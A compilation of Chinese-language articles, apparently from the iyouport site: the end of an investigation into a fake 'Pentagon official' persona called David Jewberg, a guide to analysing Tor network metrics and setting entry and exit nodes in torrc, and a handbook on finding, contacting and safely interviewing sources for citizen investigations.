延伸：顺便推荐一个揭露方法，如下图所示（请注意这是付费服务，而且价格不低，不一定适合资金紧缺的独立公民组织使用。公民组织社区应该和技术社区联合开发出自己的同类应用）

「图」

「图」

「图」

「图」

很难知道这些人中谁真的知道假人 David Jewberg 的背景 —— 例如，Ferro 可能不知道 Jewberg 的存在并且他的脸被偷走了用来代表假人，而 Satter 已经说过 Jewberg 就是 Rapoport 操作的角色。

然而，显而易见的是，俄罗斯反对派人士和华盛顿地区的某些人都知道 **“Jewberg”** 是被虚构出来的身份，他们不仅没有提出怀疑，反而将这一身份用来支撑或积极维护对*五角大楼官员*的*想象*。

那么，Rapoport 究竟是 Jewberg 的操作者吗？

本报告只提供证据，请读者来决定这个问题的答案。

第三部分：自由俄罗斯基金

提供 Facebook 发布关于假人 Jewberg 的信息的真人之一是 Rap Burort 的另一位熟人 Vlad Burlutskiy，他曾短暂担任自由俄罗斯基金

会的大纽约地区协调员，这是一个关键的美国俄罗斯反对派集团和政策组织。

根据自由俄罗斯基金会的资料，Burlutskiy 不再隶属于该组织，他的工作很简短而且不广泛。

2016年，Burlutskiy 写信给一个反普京的 Facebook 小组，用的是 Ben Anderson 完全相同的信息来讲述 “David 的亲爱的读者们” ——完全复制粘贴的：

> “Dear David’s readers. He asked me to let you know that he can’t post or even answer your messages. Yet his email, major.jewberg@gmail.com is fully functional. He’ll be back on Facebook on February 23rd, 2016.”

「图」

「图」

假人 Jewberg 也在他的 Facebook 页面上承认了 Burlutskiy，并且感谢他在爱沙尼亚拍摄美国士兵的照片。

「图」

「图」

2017年8月，在 Burlutskiy 没有回复关于他与 David Jewberg 和 Dan Rapoport 的联系的评论请求之后，调查员向自由俄罗斯基金会的发展总监 Grigory Frolov 和基金会主席 Natalia Arno 发出了一个消息：要求他们对“David Jewberg”和 Dan Rapoport 发表评论。

在向其中一位官员发送评论消息后，关于评论请求的内容立即被发布到 **Jewberg** 的 **Facebook** 个人资料中。

在他的 Facebook 帖子中，**“Jewberg”**提醒他的粉丝有人正在对他进行调查，甚至公布了调查人员的个人电话号码和电子邮件地址。

在下面的第一个屏幕截图中，对 Jewberg 发布的文本和发送给 Frolov 的消息进行了比较。

你能看到消息是几乎相同的，除了“Greg”一词之后，后续的逗号被删

除。 Bellingcat 与 Arno 和 Frolov 进行了交谈，他们坚决否认与 Rapoport 关于 Kuzmenko 的请求有任何联系。

「图」

「图」

「图」

「图」

「图」

「图」

「图」

「图」

自由俄罗斯基金会主席纳塔利娅·阿诺（Natalia Arno）与调查人员进行了交谈，并表示她知道丹·拉波特（Dan Rapoport）操作假人大卫·伯格伯格（David Jewberg）的账号，这是华盛顿许多反普京人士的公开秘密。

消息泄漏后不久，Jewberg 的社交网络页面和个人网站都被删除了。

但是，大多数这些页面的副本 —— 包括他的 Facebook 和 LinkedIn —— 都被归档保存了。

此外，https：*jewbergslist.4travel.vhost.lt/*（存档在此处）保留了 *jewbergslist.com* 的镜像副本。该网站由 *Dan Rapoport* 的私人联系人 *Pavel Korchagin* 维护。 *8*月*21*日，在与俄罗斯自由基金会的 *Frolov* 通信泄密后的第二天，处理此案件的调查人员在 ***Facebook*** 上收到了威胁。 来自 *“Vasily Fedorovtsev”* 的消息，一个以反克里姆林宫声明为特色的 *Facebook* 帐户，辱骂调查员“破坏 *David Jewberg* 的生活”，并威胁说*Jewberg* 的“同事”们会报复的。 第四部分：采访 ***David Jewberg*** 当调查人员在*2017*年夏初接触到 *Dan Rapoport* 以便了解他与假人 *Jewberg* 的关系问题时，他是被强制评论的，虽然要求采访不做记录。 在采访中，*Rapoport* 展示了他对 *Jewberg* 的在线活动的详尽了解，并同意促进与那个“五角大楼官员”的进一步沟通，鼓励通过他的电子邮件地址与 *Jewberg* 进行沟通，地址就是 *major.jewberg @ gmail.com* 从 *Gmail* 地址发送来的电子邮件署名为 *“LTC David*

Jewberg 高级俄罗斯分析师，*HQDA*，*G-3/5/7”*，信中声称他就是真实的 *“David Jewberg”*。他的回复截图可以在下面看到（点击这里查看完整尺寸）：「图」「图」 然而，这份邮件的作者拒绝亲自会面或通过电话交谈。 *“Jewberg”* 证实了 *Rapoport* 关于他们如何彼此认识的信息： ＜＜＜ *“我是2010年在莫斯科遇到的 Dan，我们是朋友，在DC也是朋友，我们是同一个共济会分会的成员，Military Lodge 1775。”* ＜＜＜ 这个 *“Jewberg”* 很乐于谈论他的目标 —— *“我的博客针对的是俄罗斯受骗的居民。我从第一天开始就一直在增加朋友，主要来自反美和反普京的群体。他们不仅需要知道真相”*。 但是他一直在避免确认他的军事服务和就业历史是否属实。 *“Jewberg”* 称，以 *“David Jewberg”* 为名的各种带照片的身份证件，包括驾驶执照、社保卡和五角大楼身份证，都是他的。（这些证见的照片在上一篇文章中）。 *Jewberg* 也没有回答关于 *Dan Rapoport* 参与的任何问题。 *Rapoport* 后来在被要求就这一指控发表评论时否认他是 *“David Jewberg”*。 他说：*“我觉得有人在试图开我的玩笑。David 不是 Dan、Dan 不是 David，任何相关性的猜想都是谎言”*。 *2017*年秋天，在自由俄罗斯基金会泄漏之后，*Rapoport* 再次接受了调查，讨论了许多这里详述的材料。 *Rapoport* 指责民间独立调查人员*“为FSB [*俄罗斯安全部门*]*工作”*。 「图」「图」 第五部分：为什么？ 很明显，在*2015*年，一个名为 *“David Jewberg”* 的虚构角色被发明出来，从五角大楼内部人的角度发布对俄罗斯和乌克兰的分析。 同样清楚的是，*Dan Rapoport* 和他的社交圈子一直围绕在 *Jewberg* 这个角色的公开材料之中，包括被用来描绘 *Jewberg* 的面孔。 然而，不清楚的是，为什么发明这个角色的人使用了一个荒谬的姓氏，同时使用的是德克萨斯州一个真实男人的脸。 由 *“Jewberg”* 拍摄的各种身份证件照片几乎肯定是捏造的，因为它们显示了一个完全不同的名字（*Steve Ferro*）。 调查人员联系了多位法律专家，包括纽约律师和法律学者 *Richard Raysman* 以及加州大学洛杉矶分校法学教授 *Eugene Volokh*，以评估冒充五角大楼官员和创造假身份的法律问题。 *Raysman* 和 *Volokh* 都指出，冒充联邦雇员和制造捏造的联邦官员身份证件违反了 *18U.S.C§912*（有关这一法律的更多信息可以在司法部网站上找到）。 *“Jewberg”*分享了看似虚假的身份证件照片，***“Jewberg”*** 和 ***Rapoport*** 向在线怀疑他们的人发送了威胁性信息，如 *Karmanov* 和 *Oganjanov* 的叙述所示。 那么，为什么要创建一个伪造的五角大楼官员，并在试图捍卫这个被发明的角色时冒险违反美国法律呢？ 无法清楚地回答这个问题，只能尝试全面介绍 *“David Jewberg”* 和那些一直接近他的在线活动的人的兴衰。 调查人员向一些关于俄罗斯、情报和虚假信息方面的专家展示了这项调查的初步草案，以便引起他们对 *David Jewberg* 这个奇怪案件的反应。 中央情报局*23*年工龄资深人士、国家情报委员会前副官员 *Glenn Carle* 认为，*“Jewberg”*的传奇只

能由“傻瓜”来完成。 如果 *Jewberg* 实际上是由一个反俄罗斯人物经营的，他称之为“愚蠢的投机行为”，并认为假人更有可能是俄罗斯的虚假宣传活动，而非实际的反俄操作。 *Lyudmila Savchuk-Borisova* 是一名俄罗斯记者，他在所谓的彼得堡 *trolls* 农场热点时作为调查记者上过国际头条新闻，他认为 *Jewberg* 这个角色似乎是一项类似于彼得堡 *trolls* 农场的低端策略。 *Peter Pomerantsev*，《*Nothing is True* 新俄罗斯的超现实主义》的作者、伦敦经济学院的高级访问学者，他认为整个 *Jewberg* 事件似乎是一个“超现实的恶作剧”。 上述三位专家都是从自己熟悉的角度评论这个问题的，显然都有偏颇 —— 为什么这个假人就不能是华盛顿制造的呢？军方和情报机构针对社交媒体情报的监控如此严密的情况下，居然“没发现”一个红遍全球的美国高级官员是假冒的？ 或许真正要问的问题不是为什么创建了 *Jewberg*，而是为什么这么多乌克兰媒体能够如此认真都对待这个假人，包括著名媒体 *Dialog.ua*，他们发表了十几篇关于所谓的“五角大楼官员“的特别报道直到*2017*年。 在*2015*年和*2016*年，在俄罗斯针对乌克兰和西方的宣传活动的高峰期，许多人都想知道可以采取哪些措施来对抗虚假信息的心理战。 一些反馈出现在所谓的“反诽谤中心”；其他的则希望提高独立调查报告的标准，以减少虚假信息和所谓的“假新闻”的吸引力，正如西方国家向乌克兰新闻媒体（如 *Hromadske*）提供的一些赠款所显示的那样。 开源调查组织则寻求专业技术的普及，正如*IYP*提供的知识，对信息验证技术和开源情报技术的充分化和普及。 本文希望能演示关于 *什么样的报告才能称之为调查*，并且希望能说，信息战/心理战的成败与哪些因素有关，如何推导。 延伸《你知道什么才是真正的*调查*吗？所谓的”起底”经常是骗人的》。 此外，另一个角度上，再次强调我们在《使用社交媒体时你必须注意什么？》一文中所强调的：创造角色扮演的人切不可与角色发生任何联系。在此案中最大的嫌疑线索便是这份联系的暴露化。○ 原文

在Tor上追踪事件 - iyouport

开源情报-每个人都可用的武器

以及帮您建立最佳的访问路由。

TOR是当今最流行的 “暗网”。它因与非法活动有关而闻名，如销售毒品、武器等的论坛和供应商。然而，TOR也有合法的用途，例如避免基于国家的审查制度，或在有争议的环境中进行匿名交流，以获得重要信息。

虽然大多数学习和访问TOR的人只是直接使用TOR浏览器，并使用搜索引擎、wiki/index或已知的 .onion 地址，但依旧可以通过退一步查看网络本身来了解世界上正在发生的事。幸运的是，TOR的网络细节是公开的，人们可以查看和分析。

TOR网络

「图」

先简单介绍一下TOR网络的工作原理。它是由一系列志愿者维护的中继站组成的，将流量传送到目的地并返回。客户端将连接到所谓的 “入口节点”，通过一系列的 “中继”，然后通过所谓的 “出口节点”。术语在不同的参考文献中可能有所不同，但只要您理解这个概念，就会产生共鸣，为什么它类似于洋葱上的层（因此而得名）。

现在您已经对流量有了基本的了解，下面来看看宏观的网络活动。

网络活动和指标

「图」

TOR项目发布了一个网站，让您可以看一下网络的指标。这对于了解网络活动的峰谷波动是很有用的。分析这点的一个关键收获是与地缘政治事件的相关性。当世界上出现内乱或重大事件时，您经常会看到连接到TOR网络的人出现高峰。他们在网络上做什么的确切情况无法

通过宏观网络分析查看，但推论对评估还是很有用的。TOR Metrics (https://metrics.torproject.org/)

用户活动

「图」

对于将活动高峰与世界各地的突发事件联系起来，第一个有用的指标是关于有多少用户正在访问该服务。点击“用户”选项，可以看到有多少人正在连接到TOR，以及来自哪个国家。当世界上有地缘政治事件发生时，请考虑这一点。它可以推断出一个国家内离散的互联网通信和访问的热门程度，以及在一个有争议的环境中是否有渠道或机会可能存在与民众沟通。Filter options for TOR Users (https://metrics.torproject.org/userstats-relay-country.html)

使用案例—阿富汗2021年

「图」

下面分析的是2020年1月至2021年9月的TOR用户活动，以了解TOR活动在阿富汗境内随时间推移的变化。IP位置来自于中继对客户IP的解析，因为他们通过中继提供了一个地理数据库。与VPN连接的客户有可能混淆这一点，但在规模层面上不太可能，所以依旧有能力依靠这些指标进行分析。

如果进一步缩小范围，仅查看 2021 年的活动，我们可以确定活动高峰的关键时期。

那么，2021年4月发生了什么？只需要使用标准的开源情报技能和一些先进的谷歌搜索来关联事件。

使用搜索查询 “Afghanistan” after:2021/04/01 before:2021/05/01，可以扩大搜索范围，找到相关的事件。

【如果您尚未了解 Google dorks 的使用方法，看这里】

关键事件是美国正式宣布撤军和阿富汗的未来计划。虽然TOR活动的激增可能有其他潜在的原因，但这可以作为一个例子，说明我们可以在更多的地缘政治背景下分析TOR用户活动。

- 如果您错过了《为什么是塔利班赢了？》

服务器和客户端

「图」

我们可以使用TOR网络分析的另一个有用的方法是确定流量的最快路线。TOR通常比表面上的网络浏览慢很多，所以至少能够挑选出一个最佳的入口和出口节点可能是有用的。此外，虽然您不能控制中继，但有很多关于威胁者控制出口节点的报告，您就可能想把流量输送到一个已知的和可信任的出口，例如您自己设置的出口。

服务器

「图」

从下图中可以看到，德国和美国是TOR中继的主要来源。也可以使用下面的图表和TOR项目网站上的其他指标来分析速度。如果您想创建一个最佳的速度路线，可以使用这些指标来确定从您的具体位置出发的最佳路线。接下来将详细介绍如何配置您的客户端以指定入口和出口节点，以便在连接到TOR时进行更多的控制。https://metrics.torproject.org/bubbles.html#country

另外一个有意义的指标是看所有中继的总可用带宽。通常可以将其与地缘政治事件联系起来，在这些时间内建立额外的中继或节点。此外，如果TOR的运行速度出乎意料地慢或无法连接，可以把它作为一种故障排除机制。https://metrics.torproject.org/bandwidth.html

中继

「图」

也可以在TOR网络上搜索中继。如果您正在调查IP并查看主机的路由活动，可以使用中继搜索来找到一个潜在的起点或支点。还可以使用这个功能来识别可能想要配置的中继，以便在后文中进一步配置客户端时进行特定的流量路由。https://metrics.torproject.org/rs.html#advanced

考虑一个场景，您想找到可能与调查有关的中继。如果您有一个电子邮件地址、昵称或别名，可以使用中继搜索作为一个新的支点，在您通常的开源情报工作流程中找到其他线索。下面专门在澳大利亚搜索使用 @gmail.com 作为联系邮箱的中继。这些是否是合法的邮箱并不

是本文的一部分，但它是另一个可以搜索的地方。

然后我们可以进入中继，获得更具体的细节，如指纹。这个标识符可以在下面的客户端配置中使用，以允许您将流量导向一个特定的节点。

客户端配置

「图」

基于之前的分析和围绕控制入口和出口节点的评论，现在可以配置TOR浏览器捆绑在一个特定的国家、IP、或节点指纹上。

要做到这一点，只需编辑客户端安装位置的 torrc 文件。

Windows/Linux：如果在 Windows 或 Linux 上安装了Tor浏览器，torrc 文件是安装目录下的一个文件夹，看起来像这样 *Tor Browser\Browser\TorBrowser\Data\Tor*Windows的例子

如果您使用的是macOS，应该能够找到 torrc 文件在 *~/Library/Application Support/TorBrowser-Data/Tor/Data* 目录下（请注意：在撰写本文时无法确认这个位置）

Torrc 文件：打开 torrc 文件，只需要根据您想实现的目标添加以下几行：

连接到一个特定的IP：（用IP地址替换x的位置）

ExitNodes xxx.xxx.xxx.xxx

EntryNodes xxx.xxx.xxx.xxx

连接到一个特定的节点指纹：(用所需的节点替换指纹字符串)

ExitNodes 02E98BBE0B12570E4E2974E2A7472B297F8D9959

注：上面的指纹是一个来自现有中继的例子。您可以使用下面讲述的搜索方法找到您想要的中继。

只连接到一个特定的国家：

ExitNodes {us} StrictNodes 1

EntryNodes {us} StrictNodes 1

只需将 “us” 替换为所选择的 ISO 两位字母国家代码，其中大多数是显而易见的，但您可以在这里找到一个参考列表：https://en.wikipedia.org/wiki/List_of_ISO_3166_country_codes

如果您想让您的所有流量在美国出入，最终应该得到如下图所示的结果：

保存文件，然后连接到 TOR 并通过单击 TOR 浏览器中搜索栏左侧的图标来验证您的路线。下面是例子：

网络流量

「图」

Unchartered 建立了一个有用的地图和仪表盘来可视化TOR网络流量和带宽。有各种控件可帮您钻研信息，但它的数据也来自TOR项目指标网站的公共数据集。https://torflow.uncharted.software/

最后，如果您想获得一份所有TOR出口节点的清单，以便输入SIEM，使用工具进行映射，或者整合到您正在建设的项目中，可以在这里查看：https://check.torproject.org/torbulkexitlist

还可以使用像 Bulk IP lookup 这样的工具，通过简单地复制和粘贴您想映射的IP（https://app.ipapi.co/bulk）来映射节点列表（限于1000个节点），或者用IP查询服务和API建立您自己的工具。

结论

「图」

通过了解TOR网络，您可以从中学到很多东西，并作为开源情报工作流程的一部分加以利用。无论是将地缘政治事件与活动高峰联系起来，这将有不同的相关性，这取决于你的任务，还是了解网络，以便您可以建立最佳的访问路由。此外，用受信任的TOR节点路由控制您的客户端配置，可能在您的威胁缓解策略中发挥作用，以避免威胁者占据在恶意节点上。〇

TOR Network

原文

在人与人之间 …… 如何从信息源的头脑中挖掘想要的情报-完整指南 - iyouport

开源情报-每个人都可用的武器让它民主-公民掌握真相的技巧和技术

【2020年10月30日存档】介绍整个过程中的安全性知识、工具、技巧，以及您需要注意的事项

也许开源情报可以很厉害，能挖到目标人自己可能都没意识到的泄漏信息；实地调查同样非常重要，您能看到没有被数字化的或与网上不同的重要事实细节。

但是，正如我们曾经强调过的那样，最重要的信息也许并不在互联网上，也不在现实中可触及，而是在人们的头脑里。

于是，除上述之外，作为公民调查人员，您还需要掌握与人交流的技艺 —— 让那些头脑中有重要信息的人愿意把这些东西告诉你。

人脉资源往往是不可或缺的，对话是不可避免的。本手册将介绍关于如何处理困难主题的提示、如何保证自己和受访者安全的技巧、以及建立可能对未来调查很有帮助的联系的方法。

本手册将继续纳入 列表-3 “让它民主” 板块；您还可以在下面回顾曾经完成的系列 “公民调查指南”：

- 《不再吃瓜：把你的”围观”变成利器—公民调查指南（1）》
- 《推荐一些好用的音频转录工具：公民调查指南（2）》
- 《从故事开始：调查不是普通的报道—公民调查指南（3）》
- 《你的对话容易出现哪些错误？—应该说的和不应该说的话：公民调查指南（4）》
- 《套话的战术：利用情感，但不要被情感所利用—公民调查指南（5）》
- 《FBI同款调查技巧—公民调查指南（6）》
- 《您的工作应成为社会变革的动力：公民调查指南（7）》

🗞️ 注：

「图」

区分采访对象和消息来源是很重要的。受访者是指那些您可能会在当前的调查中遇到的人，也可能不会再遇到。而消息来源是那些您需要投入一些精力建立联系的人，以便为当前和未来的工作建立和维持一个关系网络。

有些受访者可能会成为你的消息来源，你必须与他们建立不同于一次性受访者的动态关系。

降低风险

「图」

对于采访来说，您要面对的是人，而人往往是不可预测的东西，所以您的准备工作非常关键。

这看起来似乎相当直观：首先，你要确定哪些消息来源可能有用，并找到他们的联系方式；然后，你要主动联系对方，安排时间地点，准备问题，见面，提出一套问题，并做笔记或记录。

以上这些不过是您从电视剧里面看到的东西。

📌 而事实上，采访是一个更长的过程，而不仅仅是一次性的谈话或一系列的交流和问卷。它需要进行背景调查、建立人物档案、建立信任、预测风险、采取安全措施等等。

有时你需要与某个人见面不止一次，而其他对象则根本不愿意见面。

您需要机智、灵活、坚定、尊重您的采访对象和消息来源，但也要谨慎。您和您的消息来源的安全应该永远是你的首要任务。

🛡️ 安全第一！—— 风险评估

「图」

每当您考虑与某人接触时，都应该考虑这种互动的风险，不仅是为了您自己，也是为了您的采访对象或消息来源。

在决定收集信息的顺序、分享信息的对象、安排与他们见面的时间/地点，以及在哪里和如何存储从采访中收集到的信息时，要非常小心。

📌 谨慎地披露有关您的调查和信息来源的机密或敏感信息，因为这可能会使您和您的合作者面临风险，这取决于您正在研究的背景和问题。考虑法律影响，听从自己的直觉：如果有些东西感觉不对，那可能就是不对。

风险是有传染性的。如果您自己是一个几乎没有风险的人（你可能在一个安全的地区生活和工作），但如果您要会面的让是一个经历高风险的人（生活在危险的地区，受到压力，或从事敏感工作），您就会感染这种风险。

在采访前后的一段时间内，你的风险水平会比较高。如果采访是为了一份调查报告或一篇即将发表的文章，请做好准备，在发表时你的风险会增加。

在调查权势和有影响力的个人时，如果他们知道了你的调查，您要做好长期较高风险的准备。在任何国家都是如此。

📌 为了解决这个问题，随着调查的推进，您应该不断地重新审视和修改风险评估和安全计划。将此纳入常规工作流程。这不是一次性的任务。

采访前的准备工作

「图」

寻找潜在的信息源和采访对象是您的第一步。这需要研究、实践和承诺。根据您是从头开始调查、还是想为您的调查添加更详细的内容，或者收集证词，你很可能要寻找和采访不同的人，以满足调查的不同需要。

开始调查可能就像跟踪非政府组织、从事特定工作的团体、活动家、政府工作人员或国际组织一样简单。

确定潜在的受访者

「图」

您可以通过不同的方式识别可能的信息来源和受访者。

A：观察信息源在社交媒体上的活动。尽量做到有条不紊，根据你正在调查的问题，创建与主题相关的列表，让自己更直观地了解情况。

如果您使用 Twitter，这里有一个详细指南，可以帮助您更快速地掌握想要的信息《从推特中挖掘真相不需要太复杂的工具：一个常用工具的全面指南》。

收集所有为特定组织或类似领域工作的人的名单，如活动家、公民社会成员或公司，找出那些看起来更有发言权的人，并尝试了解他们可能的偏见或他们与调查人员沟通的意愿。

📌 避免在社交网络上“点赞”或“关注”他们，如果他们与特定问题或人物有任何联系，可能会给你带来麻烦，这取决于你正在调查的内容。

B：订阅新闻通讯。大多数组织都有新闻通讯，您可以在其出版物中出现的人或为他们写作的人中找到潜在的消息来源和/或受访者。

C：参加新闻发布会。在新闻发布会上，一般不容易接触到的人可能更有机会接近。特别是如果你的潜在消息来源是一名官员，这是接触其助理或低级别下属的好方法，他们可能更愿意交谈。

D：跟踪并参加公开会议、公开讲座、大会等。建立联系可能并不总是最好的解决办法，特别是在处理敏感话题时；但是，这类活动可能经常会有一些发言人或参与者出现，除非这样的场合，否则很难甚至无法接触到他们。如果你认为安全的话，可以尝试收集名片并发放你的名片。

E：关注由活动家或当地公民维护的博客和网页。这些网站可能不怎么受欢迎，但它们可能包含了丰富的文献资料，可以为你打开一扇门，让您接触到可能成为消息来源的人，为调查提供线索，或帮助您与合适的人取得联系。

F：访问官方网站。在试图接触政府官员时，这些网站会很有帮助。您可以了解哪些部委或部门负责您感兴趣的领域，然后要求采访相关官员。

G：寻找封闭的专家小组和支持。非政府组织工作人员、记者和活动家有时会依靠封闭的团体（或秘密团体）来交流信息和技巧。

随着您建立起更多的联系，如果您的调查是以特定国家或主题为中心的，那么可能会想要联系你信任的人，并询问其中的一些团体。

准备好接受他们的背景调查。特别是记者和活动家，如果他们不认识你，可能会以安全措施为重拒绝您进入他们的关系网络。

🗞️ 注：

「图」

在使用在线资源或公共文件进行研究时，一定要确保将发现的任何相关内容归档，保存截图和/或保留文件的副本，以防以后内容被删除。

- 做法 《留下证据：如何存档开源材料？》

在出事之前采取这些措施比事后采取这些措施要好得多。这里有一份详细指南，帮助您挖掘那些已经被删除的证据 《如何快速找到你想要的东西：追踪数字证据的小技巧》。

所有这些做法都可以让你获得联系信息，并确定可能是关键信息来源的人。

然而，要留意那些不那么明显的消息来源 —— 那些可能暗示自己对这个问题有深入了解或经验的人。如果你花足够的时间与这些人相处，并了解他们的工作，他们可以给你提供很有价值的信息，也可以帮助你赢得其他潜在的调查对象的信任。

🛡️ 安全第一！ —— 开始之前的数字安全基础

「图」

1、研究

「图」

保护您自己、您的访谈对象和调查，需要基本但必不可少的步骤来保护隐私和安全：

A：选择增强隐私安全的基本在线工具，尽可能少地留下数据面包屑。您可以在这里看到两个安全工具手册，《1》《2》；

B：在可能的情况下，安装并使用 Tor 浏览器进行搜索和通信。在下面看到安装指南：

- 《在安卓上使用Tor》
- 《在Linux上使用Tor》
- 《在运行 Manjaro Linux 或 CentOS 的计算机上使用Tor》
- 《在网页浏览器中使用Tor》
- 《在Windows上使用Tor》
- 《注意事项：使用 Tor 保护自己时千万不要做这九件事》

C：用VPN保护您的调查的私密性。当使用VPN时，你访问的网站不会看到你的真实IP地址，而是会看到VPN提供商的IP。

- 《如何检查您的VPN连接是否实际加密》
- 《如何验证您的 VPN 连接是否安全？》

E：为您的计算机和移动设备创建复杂的密码，并不时更改它们。

F：加密您的一切电脑、手机、外部存储设备（硬盘、USB等）尽可能避免使用“云”存储敏感信息。

每一个主要的操作系统 Linux、Mac、Windows 都提供了一种激活全盘加密的方法，这将在设备关闭时保护您设备上的所有数据。

此外建议使用 VeraCrypt，这是一个免费的开源加密工具，可以在 Mac、Windows 和 Linux 电脑上使用。VeraCrypt 通常用于加密特定文件夹的数据，而不是电脑上的所有数据，但如果你跨多个操作系统工作，它可能是你唯一的选择。

G：避免任何时候让自己的任何电子设备离身，哪怕只有几分钟。

H：掌握当局在您旅行和工作的地区可能进行的数字监视和实物搜查的最新情况，并提前了解您在跨越边境、特别是在机场时的权利。EFF 的这份边境搜查指南提供了有关风险和权利的有用信息。

2、通讯技术

「图」

维护通信的私密性是进行调查的关键。您需要考虑一些基本的通信卫生习惯。

A：尽可能使用加密电子邮件（PGP）与消息来源和受访者进行交流。

B：对于呼叫和在线通信，有很多不同的应用程序与增强级别的加密和隐私保护工具，依旧参看上述两个手册《1》《2》。

C：当您不得不依靠传统的通信方式 —— 非加密电话、固定电话等时，确保您只提供最低限度的信息，并尝试提前确定哪些细节是风险较小的通信方式和方法。

让对方相信，当你们见面时，你会提供更多的细节。

📌 小心你所说的任何话和你所透露的信息，以免在你或谈话对象被监视（或怀疑被监视）的状况下影响你的调查。

参见我们的列表-1 中 “反侦察” 板块的内容，帮助您识别和防御现实中的监视状态。

D：另一个选择是使用以上加密的方法与可帮助组织会面的人脉关系密切的人取得联系。

E：有时，如果您认为您的电话可能受到监视，请考虑使用一次性电话；但必须注意，这个一次性电话不应该在您经常出现的地方被打开 —— 比如您的家、工作单位、经常出入的餐馆咖啡店等等；更不要与您的真实手机一起携带。

具体做法见：《到底也没有无法被监听的电话？：变得难以被追踪的简单方法（8）》。

信息源和受访者的类型

「图」

寻找合适的谈话对象不一定是容易或直接的。很多时候，随着调查的发展，您需要来回走动，您可能会改变您想采访的人的想法。重要的是要清楚您可能采访到的不同类型的信息源。

以下因素可能决定你的做法。

A：他们在您调查中的作用 —— 该人是您正在调查的现象或事件的受害者吗？或者，他们是肇事者吗？

B：他们相对于您的调查的立场是什么 —— 他们愿意合作吗？或者，他们会干扰您的调查吗？

C：您想通过与他们互动获得什么 —— 他们会帮助您收集证据或背景信息，或者，他们会帮助澄清信息还是为您提供证据？

在大多数情况下，您将不得不结合多种方法，而在一些情况下，您将能够以较少的步骤获得您想要的东西。

接下来继续更详细地了解一下来源的类型。

通过他们在调查中的作用

「图」

1、主要来源

「图」

这些来源将为您提供有关所调查主题的直接证据或证词：

- 受害人
- 目击者
- 犯罪者
- 政府工作人员或官员
- 吹哨人

2、次要来源

「图」

这些消息来源不会提供直接的证词或证据，但可能会在调查的任何阶段提供支持：

证人 —— 虽然证人可以提供有价值的信息，并可被视为主要来源，但是您也必须意识到他们的证词可能不准确、和/或不一致。因此，您有时可能需要将他们视为次要来源。

小道消息 —— 接收小道消息是从可靠或不可靠的来源获取信息的一种方式，您将需要从其他来源进行验证。

新闻业 —— 在文档编制过程中，可用的研究和报告可能是非常有用的资源。

研究人员 —— 可能是活动家、调查记者、其他公民调查人员、或进行研究和编写报告的非政府组织。

3、脆弱来源

「图」

这些资源可能是容易遭受各种创伤的人、或者是处境不利、或容易受到威胁的社区的一部分：

- 创伤幸存者
- 性暴力幸存者
- 未成年人
- 受到威胁的社区
- 被边缘化
- 受到监视或迫害的人群

4、对抗性来源

「图」

并非所有的采访对象都会受到欢迎。当您接触对抗性的消息来源时，你应该特别小心，因为这些消息来源可能对你的调查并不同情，他们可能会变得咄咄逼人，或者可能非常犹豫。这些人可能是：

- 敌对性、侵略性的消息来源
- 犯罪者
- 警察

稍后将详细介绍如何处理这些消息来源。

根据信息类型，他们可以为您提供什么

「图」

根据调查和您到目前为止所拥有的信息，消息来源可以为您提供：

1、背景信息 —— 您正在调查的主题的详细信息、新线索、和其他相

关人员的联系方式。背景资料还可以帮助您与潜在的受访者保持联系或为进一步的调查提供线索：

- 学术界
- 科学家们
- 非政府组织工人
- 律师
- 与您正在研究的主题相关的其他专家和人员

2、对信息的理解和解释 —— 您可能会从其他来源或受访者那里收集信息，但是无法将其放在背景中或进行解释。在这些情况下，联系以下人员可能会很有用：

- 领域专家
- 科学家
- 学术界

3、直接证据 —— 调查的核心可能取决于与具有第一手信息或证据的人进行的访谈，比如自然灾害后的调查：

- 目击证人
- 安全部队
- 活动家
- 政府人员
- 警察等

📌 您需要考虑到提供直接证据的受访者可能会（有意或无意地）带有偏见，或者由于他们接近您正在调查的话题或事件而可能面临风险。

接触消息来源并确定受访者

「图」

在决定采访谁和为什么采访之前，进行全面的研究是必不可少的。您可能最终不会追究一些主题，但明确界定您的目标将有助于您找到可供选择的采访对象。这里有一些基本的规划准则。

1、优先安排和组织会面

「图」

只要有可能，就从能够提供更多关于调查本身或其他潜在受访者的背景信息的访谈开始。一旦您对主题或情况有了了解，您就能接近更注重证据的访谈。

📌 请注意，在您反复验证之前，任何东西都不算是证据，所以千万不要认为从采访中获得的信息是百分之百可靠的。

尽量从最简单的访谈到最困难的对话，这样您就可以在最后当您对这个话题有更多的了解时，更好地准备解决对抗性的话题。

2、多元化：获得多种视角

「图」

任何调查都是多层次的：您包含的来源越多，您的证据就越丰富，就越容易避免偏见。

包括主要和次要来源，并尝试采访不同年龄、性别、种族、阶层或信仰的人。避免只对一个群体的领袖或主要代表说话，而是要寻求其他成员的观点和经验。

3、进行风险评估

「图」

在选择人脉资源时，重要的是评估潜在的风险和回报，尤其是在接触与调查对象关系密切的人时。

有时你需要仔细规划访谈的顺序，以防止干扰、利益冲突或工作中的偏见。还要考虑互动对你、对调查、对你的消息来源和受访者来说，可能有多大的风险。花一些时间评估与潜在信息源沟通的风险。您可以问自己一些问题：

- 您的消息来源以前曾公开谈论过此主题吗？
- 您的消息来源可能会担心政府的监视吗？
- 您需要从此来源获得什么样的信息？
- 您的消息来源技术精湛吗？
- 您的消息来源有多害怕或脆弱？

4、发起联系

「图」

有时，您将能够立即与采访对象取得联系；其他时候，您可能需要依靠与他们身边的人主动联系。活动家、组织、律师或记者可能会让您与他们已经掌握的主要或脆弱消息来源取得联系。在与您的消息来源的任何互动中，都需要遵循安全沟通的协议。

🛡 注意 —— 您的角色、职位或背景会如何影响信息来源和受访者

「图」

权力关系

「图」

调查人员和访谈对象之间的权力动态是复杂的。重要的是要考虑到被约谈者的立场。在进行对谈之前，请思考您的角色和责任，以及您的界限在哪里。

有些人可能会感到畏惧或害怕与您交谈；其他人会试图恐吓你，说服或劝阻你，或获得你的青睐。除于这个原因，在您想要达到的目标和您如何做到这一点之间保持平衡，非常重要。

📌 作为一个记录他人的话并分析他们给出的信息的人，往往会让您处于一个权力的位置。您的访谈对象对您的看法可能是，您代表了一个机会。也许他们希望从采访中获得一些东西，不管这是一种约定俗成的交流还是一些不太具体的东西。

在您开始提出问题本身的工作之前，起草您的个人行为规则，并确保您已经考虑到道德、常识、何时倾听、何时停止、以及何时坚持某些界限。

采访弱势人群时，要为您和您的采访对象采取预防措施。这包括儿童、创伤幸存者、边缘化社区成员等。

有些人不愿意接受采访，要尊重他们的拒绝态度。不要利用您的特权胁迫他们与您交谈。

如果他们很脆弱，他们可能不想回忆创伤性的经历，或者可能害怕与你分享这些经历的后果。

